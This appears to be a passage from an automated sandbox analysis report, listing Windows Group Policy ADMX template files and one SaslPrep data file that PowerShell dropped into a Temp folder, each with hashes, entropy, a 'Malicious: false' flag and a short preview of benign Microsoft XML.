Encrypted:	false
SSDEEP:	192:lfp+oRcqMttIoekBjE0hO/dlEkH8bBE0owEk8Jd0p4tTEmE:uEiBjrhOVlzH8bBPowxQCp4l1E
MD5:	C290063C2D3AAEF142E6F74DB1B879B9
SHA1:	40A9E98F3027CCF2AFC9E83DEC584E3948DD2261
SHA-256:	5E88855AF22A6B07C8B12DA3D8B2E1E8B90000D1784FEDE53F092212E5268A11
SHA-512:	6F4B7F2240AEA0BD3EC4FEE80C8A1C09D21D48496C06384A82FFCCA902EEA0B26ED4B40F820F6BD03D645B8D745D6B6333BBFEDA3F222F6B54F19542A43B73E3
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.Printing.2".. prefix="printing2".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <policies>.. <policy.. class="Machine".. displayName="$(string.RegisterSpoolerRemoteRpcEndPoint)".. explainText="$(string.RegisterSpoolerRemoteRpcEndPoint_Help)".. key="Software\Policies\Microsoft\Windows NT\Printers".. name="RegisterSpoolerRemoteRpcEndPoint".. valueName="RegisterSpoolerRemoteRpcEndPoint

C:\Users\user\AppData\Local\Temp\file\Resource\Programs.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	5.158468507933469
Encrypted:	false
SSDEEP:	96:QeD/mD5lovKnKuC5xS118Ss19S51XSL1JSlrKgKSc1RSVC:vYbeO1xsu5ILelegFcSVC
MD5:	2E7A9978135B21DFF9D1FD14521F3763
SHA1:	23AB24859E5D7CB4B1D39A09481C3B2C1E933BA2
SHA-256:	FE82B1B648B81E36DE6EB2D237C97F898E2A0FCCB64651BD570186968587FCB8
SHA-512:	B83FE33D31C72FEAC5A57338819176542144637DD282F7D2E86DDD09E2431B8EC03B94143E6C1A79C8C7D5BB22B921503E20B88B139D42E09DEE2E686C68DAD5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="programs" namespace="Microsoft.Policies.Programs" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Programs" displayName="$(string.Programs)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="NoProgramsCPL" class="User" displayName="$(string.NoProgramsCPL)" explainText="$(string.NoProgramsCPL_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Programs" valueName="NoProgramsCPL">.. <parentCategory ref="Programs" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\PswdSync.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (320), with CRLF line terminators
Category:	dropped
Size (bytes):	3344
Entropy (8bit):	5.105917820654527
Encrypted:	false
SSDEEP:	96:cD3DV0DoG5aKnKAtLUdALXGwt916XqX2XnLGXKdiLjGwjw+C:saD7vxt90XqX2XLGXv9jw+C
MD5:	A18500360FD64A630BE2B6F27D4BC10F
SHA1:	AD7169BD2C7A6B30AE3897FF1CAB92E6A0964C4F
SHA-256:	0C98154B7F61C5828492732D0A1D2E28AA5D83E2433E5B883D3BBCEA0D5D8978
SHA-512:	BAF9B1E6E2DE636FFFB06F589AE09DCF5718B76A81B667657C9CDD3F33DCEAD5C79BCB216A5E81DE569CEA22201E3604DA18CEAE74924A4DF4D57566A97E560A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pswdsync" namespace="Microsoft.Policies.PasswordSync" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <categories>.. <category name="PswdSync" displayName="$(string.PswdSync)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.... <policies>.. <policy name="Psync_LoggingLevel" class="Machine" displayName="$(string.Psync_LoggingLevel)" explainText="$(string.Psync_LoggingLevel_Help)" key="Software\Policies

C:\Users\user\AppData\Local\Temp\file\Resource\QOS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	13257
Entropy (8bit):	5.305789969550041
Encrypted:	false
SSDEEP:	384:Y4LImKL2CeLeMIjjL5/JLHgALIGSL2CGLexxL5hbLH8rX4ajcN9hYTFoihF+elF5:Y40mKCCea/nN/JjgA0GSCCGaxxNhbj8J
MD5:	347ADD2A50978A884F15A2049082E1C4
SHA1:	8F5E2EF89A5171B9D84F7A3226D12694BCD0BD21
SHA-256:	37C2E733F5E38185C9E6A957D10F75AD15464BB2E3B28E5EB821BE1AE124F5E7
SHA-512:	4BC211539038E0EF92F860D2F09A91A82A598DD63C583C102AAF81C324F8A4A1DAE50343B52D8F1922342C61C94C341B287B28E09987E62729F6E2662919B418
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="qos" namespace="Microsoft.Policies.QualityofService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="QosPsched" displayName="$(string.QosPsched)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="QosDiffservByteMappingConforming" displayName="$(string.QosDiffservByteMappingConforming)">.. <parentCategory ref="QosPsched" />.. </category>.. <category name="QosDiffservByteMappingNonConforming" displayName="$(string.QosDiffservByteMappingNonConforming)">.. <pa

C:\Users\user\AppData\Local\Temp\file\Resource\RPC.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6292
Entropy (8bit):	4.840088790877482
Encrypted:	false
SSDEEP:	96:QeD/mDT6ovKnKt5isohyvhdcpDwT1IhF1YBqw09CM1iDw0U166ww/j1cBDwrTDC:vYOWosohUECTKhFw08MV0U0wrWqr3C
MD5:	24D24ABDCF3CD77C817B29AB8D6CDA98
SHA1:	777BA2FA58543F943FAB482E12E9F4B441D31326
SHA-256:	119FF7AC15A9AB6E75C431C032E46DA85772706A34B66D0B8BFAC3077FE6C20C
SHA-512:	B3CD37F6524EAE08AE432F6FABF1A4AD282D0C1E1CB6B17B2110158A1D3C72D208DA637596096962280B20B685C6BBC990EC92A5A366B7147A6DF77E133D478D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="rpc" namespace="Microsoft.Policies.RemoteProcedureCalls" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Rpc" displayName="$(string.Rpc)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="RpcEnableAuthEpResolution" class="Machine" displayName="$(string.RpcEnableAuthEpResolution)" explainText="$(string.RpcEnableAuthEpResolution_Help)" key="Software\Policies\Microsoft\Windows NT\Rpc" valueName="EnableAuthEpResolution">.. <parentCategory ref=

C:\Users\user\AppData\Local\Temp\file\Resource\RacWmiProv.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	5.200773981221133
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtK6fu0s6fE3+dK9lKicpKjcp7sBMVJpQBZ1+2hJJo:3geDw08gmD2fuofHKnKiQ5dsBMjpQBZg
MD5:	5D598B72EDF6BDBA3EC0F233EC2C71C9
SHA1:	D4C892B914A1935B911588F488BD62B9E656E3AC
SHA-256:	529BF4EF060E851CBD697072773F17193757A13A9ADA6A1ED0D19A7301C856BD
SHA-512:	C9B306194887871857DE9F004EC1A9C1E9501DB8600B7C95501C6F1D3B16B7EE35B1D7DF5C1716651F363AC6CDC1F57C5DFCB5B20FDB4A6EA17842D67FC154B8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ReliabilityAnalysis" namespace="Microsoft.Policies.ReliabilityAnalysis" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RAC" displayName="$(string.RAC)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ConfigureRacWmi" class="Machine" displayName="$(string.ConfigureRacWmi)" explainText="$(string.ConfigureRacWmi_help)" key="SOFTWARE\Policies\Microsoft\Windows\Reliability Analysis\WMI" valueName="WMIEnable">.. <parentCategory ref

C:\Users\user\AppData\Local\Temp\file\Resource\Radar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	1972
Entropy (8bit):	5.067220001182176
Encrypted:	false
SSDEEP:	48:3geDw08gmDb8fEofHKnKa55+u9n4qhhGwv4sC:QeD/mDQcovKnK25P9n4oGwvhC
MD5:	E03CF703AFC532613BF361B5AEF3B17B
SHA1:	010BD81BE35E8AE9C729C7DF2619BB21716C99EA
SHA-256:	5C135912495FF1D559BCA0AEA401078AE5606D88FF6422FFA2AF965EF956335E
SHA-512:	6DE75094A8ED5153D8A2D1438A1DCFA7D91B3433CA0F979AB3D91D10487F58376F16F1DBCC5CD38917E4FAC6F998D4DC9E7615594F8D358546DF8C7B3E902AF4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="radar" namespace="Microsoft.Policies.ResourceExhaustionDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy

C:\Users\user\AppData\Local\Temp\file\Resource\ReAgent.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	5.207091071989849
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKteLo6fmAL0s6fE3+dK9lKP8OpKjcp0+1GVnTPTlAF9lJJM:3geDw08gmDPfxofHKnKk25q+1GxPTqFa
MD5:	0FFF459097841B7C8A7C1092492935D3
SHA1:	CFE1AB996A4A20429C4BDE8F28A51BDC45C35B67
SHA-256:	1703B66AF219987931127FCD599B9A8D5ADA5FF37F1B2CDA3AA668B5C2E07F02
SHA-512:	F74C1DCDB4C023F2ACCC848E1DD38592390BFA7D2211C52910C3785EE03992CD72397EDCD96448DF5FA74DE645258E9EF37F4F3054C837344572DE9AEB902DB5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WinRE" namespace="Microsoft.Policies.WinRE" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRE" displayName="$(string.WinRE)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="ConfigureWinRESetup" class="Machine" displayName="$(string.ConfigureWinRESetup)" explainText="$(string.ConfigureWinRESetup_help)" key="SOFTWARE\Policies\Microsoft\Windows\WinRE" valueName="DisableSetup">.. <parentCategory ref="WinRE" />.. <supportedOn ref="wi

C:\Users\user\AppData\Local\Temp\file\Resource\Reliability.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	3722
Entropy (8bit):	5.039078511783513
Encrypted:	false
SSDEEP:	96:QeD/mD8AofL5N/vyZlQ9GwITC1ZJsizdsEQKdsldQcRGwfcKC:vYjapz6CpsJh1lmc3fcKC
MD5:	4581F6C150EFAFFD6930609DC30671A0
SHA1:	9007B9B79AB6703464759890DB6B7473CCA97878
SHA-256:	420C9F48EFBE2551C0B8D0624B65692126B9228EE9CE308300EE75C49F7B3C06
SHA-512:	164F074AB09A33342AB9C681292827CECC3B80445B13E788C448D02CB1F0F54A3407842E15BBB00D9010BED76B6C0B6E9FC2A69557B814A389A91EBECB371A5A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="reliability" namespace="Microsoft.Policies.Reliability" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="wer" namespace="Microsoft.Policies.WindowsErrorReporting" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="EE_EnablePersistentTimeStamp" class="Machine" displayName="$(string.EE_EnablePersistentTimeStamp)" explainText="$(string.EE_EnablePersistentTimeStamp_Help)" presentation="$(presentation.EE_EnablePersistentTimeStamp)" key="Software\Policies\Microsoft\Windows NT\Reliability" valueName="TimeStampEnabled">.. <parentCategory ref="

C:\Users\user\AppData\Local\Temp\file\Resource\RemoteAssistance.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (307), with CRLF line terminators
Category:	dropped
Size (bytes):	7150
Entropy (8bit):	4.855394629490161
Encrypted:	false
SSDEEP:	96:QeD/mDKAovKnKR53gvdEgmdMggGwXSCJW1xOg/5Gwf/F016gZGwJ3P89/mS1QgUs:vYLWaf+AX+HfXf/F0xvJ/8lpzkmOC
MD5:	CEBDB3E4801FC67FCBCB60867F6F784F
SHA1:	9353331A139A1A1E558BBC9A0A2607397B225B09
SHA-256:	D0DB8B6BE20761C773136197A644EAAB720ABCBDFECC8DF09AE1656FB0732174
SHA-512:	D05823D157526E02E0799EF874A5ADBA40C29C31CD6EFDF809DA5300F709583D7B79A004A75D82DEDFF132F7D34BD3DCD007A83ED73533C54DF36643B1C83433
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="remoteassistance" namespace="Microsoft.Policies.RemoteAssistance" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RemoteAssist" displayName="$(string.RemoteAssist)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="RA_Logging" class="Machine" displayName="$(string.RA_Logging)" explainText="$(string.RA_Logging_Help)" key="Software\policies\Microsoft\Windows NT\Terminal Services" valueName="LoggingEnabled">.. <parentCategory ref="RemoteAssis

C:\Users\user\AppData\Local\Temp\file\Resource\RemovableStorage.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (354), with CRLF line terminators
Category:	dropped
Size (bytes):	23268
Entropy (8bit):	5.1684959205864285
Encrypted:	false
SSDEEP:	384:qMzmeMzmUHRhxBPk7UPk71IkMhIkMraqgQWmic8Af8E4+uVicGicU5BM5BTs:Xiziasys2lKlk
MD5:	AA180B12431D0D75BA6AF97F7F43694F
SHA1:	9B0888D0CDFCB5670F39447BE451D07AD39AE7F8
SHA-256:	F773D680781538B4CAA7FE08BD03678295687D83DF3612F3520A30486B2DCB6A
SHA-512:	32806637608AF6631407915EEE978E6634D64077C0163DC9DA80ECD8372C4A72F4907C589F9C899A8A4F9F1F88C9D36C0EBC47C5E5C83C9793CC55F37BA3B93C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="removablestorage" namespace="Microsoft.Policies.RemovableStorageAccess" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceAccess" displayName="$(string.DeviceAccess)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AccessRights_RebootTime_1" class="User" displayName="$(string.AccessRights_RebootTime)" explainText="$(string.AccessRights_RebootTime_Help)" presentation="$(presentation.AccessRights_RebootTime_1)" key="Software\Policies\Micros

C:\Users\user\AppData\Local\Temp\file\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	13724
Entropy (8bit):	2.9768827947111784
Encrypted:	false
SSDEEP:	24:j2Lc2SuJAoYYY6JB/BsSh7F3eQfWiLLN+LEEEEEEEEEEEEEEEEEEEEEEEEEEEEp:2c29CoX5JBNhCiLx+l
MD5:	787DCAE108EF9D5FCD9F60CE6387E7B1
SHA1:	83A906239423183910E617273D6023C534E47E5C
SHA-256:	F2501579FC7AB062324B4E1A45428F69F9A37E0363A4FC1D3734157B587B92E1
SHA-512:	C65D3BC01406054D9932E2C840980978A5BE4BED7BF8DD60A063304017F0D8B8618D7E7688B365110976822896256CB98ED6CE40C2B6032E0D06637D73C8E283
Malicious:	false
Preview:	..'........SPRP................05..............................................................eirT%...`...0...;.X.X.C.;...X.X.X.X.X.X.X.X.X.X.X.`.e.X.X.j.X.o.X.X.w...........X.X.X.X...X.....a.....................X.X.X.K...........X...............................'.-.5.=.E.K.S.[.c.i.p.x.'......................................................."..2...X.X.:.@.E.Y.L...X.T.\.....X.a.e.X.X.m.X.X.u.X.\...X.\|.X...z.....z.X.......X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.....X.X...........X.X.......X.X...X.......................................................................................X.X.X.X...X.X.\...X.....X.[.....%.+.....o...e...X.....X...X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.o...X.....X.X.X.X...X.X.X.X.X.X.X.X.".X.X............:./.....7.e.?.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.........................................................C.X.X...X.X.X.X.X.X...K.3.X...X...X.X.X...S.X.X.......e...X.Z._.X.X.?...X.X.X...X.X.....X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.X.

C:\Users\user\AppData\Local\Temp\file\Resource\Scripts.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	6991
Entropy (8bit):	5.124374484762938
Encrypted:	false
SSDEEP:	96:QeD/mDtK4ovKnKn5KBwxV16afdv+IUaMNthaE2haJdIaYNQSaFdCGaPdvapNgsl+:vYLMlxVP1+I/aALATPKE9lVE+2XcK
MD5:	DD51DD947D4BD1B4D419718FB58BA451
SHA1:	04C1C20FADE98332B3867B87585E72E26AC3A7B1
SHA-256:	CACD9385DBAC4D5BF53C76BB7E0C8A6934E8626043A009B360A3DB8BEA156F36
SHA-512:	403E6F6024421892C5D6A4489A097B3A86FF321625FF1A65F97BFCFDF988D105F7FF476156FCCD76966B3C5C38210531B43229C49824022AF596113381DC3957
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="scripts" namespace="Microsoft.Policies.Scripts" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Scripts" displayName="$(string.Scripts)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="MaxGPOScriptWaitPolicy" class="Machine" displayName="$(string.MaxGPOScriptWaitPolicy)" explainText="$(string.MaxGPOScriptWaitPolicy_Help)" presentation="$(presentation.MaxGPOScriptWaitPolicy)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System">..

C:\Users\user\AppData\Local\Temp\file\Resource\Securitycenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1370
Entropy (8bit):	5.128312261242424
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKti1W6flR0s6fE3+dK9lKs1sCcpKjcpsk4puk4qvk4PwGV7:3geDw08gmDt17flRofHKnKs17Q56xpu4
MD5:	621CD7B462CBCCF7FF12712B23D8D1B5
SHA1:	E160DDBF741668D55F49F09147E09BA5F8817CF1
SHA-256:	01F1F585824AA0BB9919DD0496AC2D3CAB9720A89C8E08C4E9BA3400999C3948
SHA-512:	E9D7FD115532572941C1F1E448762F46BB0BA9E37E96C20C141EC23A1301F630527EF089F99C842C06CAD0F246B58AF94AA78BC8A6215EA71B1B7E9DD027C83D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="securitycenter" namespace="Microsoft.Policies.SecurityCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SecurityCenter" displayName="$(string.SecurityCenter)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="SecurityCenter_SecurityCenterInDomain" class="Machine" displayName="$(string.SecurityCenter_SecurityCenterInDomain)" explainText="$(string.SecurityCenter_SecurityCenterInDomain_Help)" key="Software\Policies\Microsoft\Windo

C:\Users\user\AppData\Local\Temp\file\Resource\Sensors.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	5.042186898453658
Encrypted:	false
SSDEEP:	96:QeD/mDtVdovKnK95lFf4d2Ff4dpF74dyF74dOF44dvF44q:vYlMtxkHH5s
MD5:	45A19DB51A4AF8E6FA2D5B09C9219910
SHA1:	6661B89058EA63D5555786AF4D9787C2140943E7
SHA-256:	AFA8850C0CBC9033760DDB4F15E0E1D9CA58C55BEE2ABAF9E51F7286E57CA3C3
SHA-512:	F7DA15EC2BBDF43F2E6659DD285ABAAB8080798C5179613811E8D24736E95A7D601A6002A06CB31DD16803722FD509FA3A41B5A2C3B204E40C3B4593CBC55A58
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sensors" namespace="Microsoft.Policies.Sensors" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="LocationAndSensors" displayName="$(string.LocationAndSensors)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableSensors_1" class="User" displayName="$(string.DisableSensors)" explainText="$(string.DisableSensors_Explain)" key="Software\Policies\Microsoft\Windows\LocationAndSensors" valueName="DisableSensors">.. <parentCategory

C:\Users\user\AppData\Local\Temp\file\Resource\ServerManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (332), with CRLF line terminators
Category:	dropped
Size (bytes):	3813
Entropy (8bit):	5.134801096441505
Encrypted:	false
SSDEEP:	96:cD3DtoSoG5/yKnK7547IFdP7TGwrap1q1IDdUs6oq:snKcIPtrapwIBq
MD5:	A8FE70D5D9E444FD04B031CC15D0F1FE
SHA1:	2143CE8703819632BF7C00820DE163181812A83A
SHA-256:	6EB8D580DA98AB0DA63122855556D8A2CD5A9853CE27B15CC2BE257CC6A50316
SHA-512:	FB04457A4FEAE9A61DC715A545386C8419F21078CF7A3A514BAF247BD08071444CF8C75BC10AB6D8B67506A5EBF881EA3AD0D09FFE9EA817FECE616B9D4245E2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="servermanager" namespace="Microsoft.Policies.ServerManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Microsoft Windows Server 2008 and Windows Server 2008 R2 only -->.. <definition name="SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only" displayName="$(string.SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only)">.. <or>.. <reference ref="products:WindowsServer2008R2"/>.. <refe

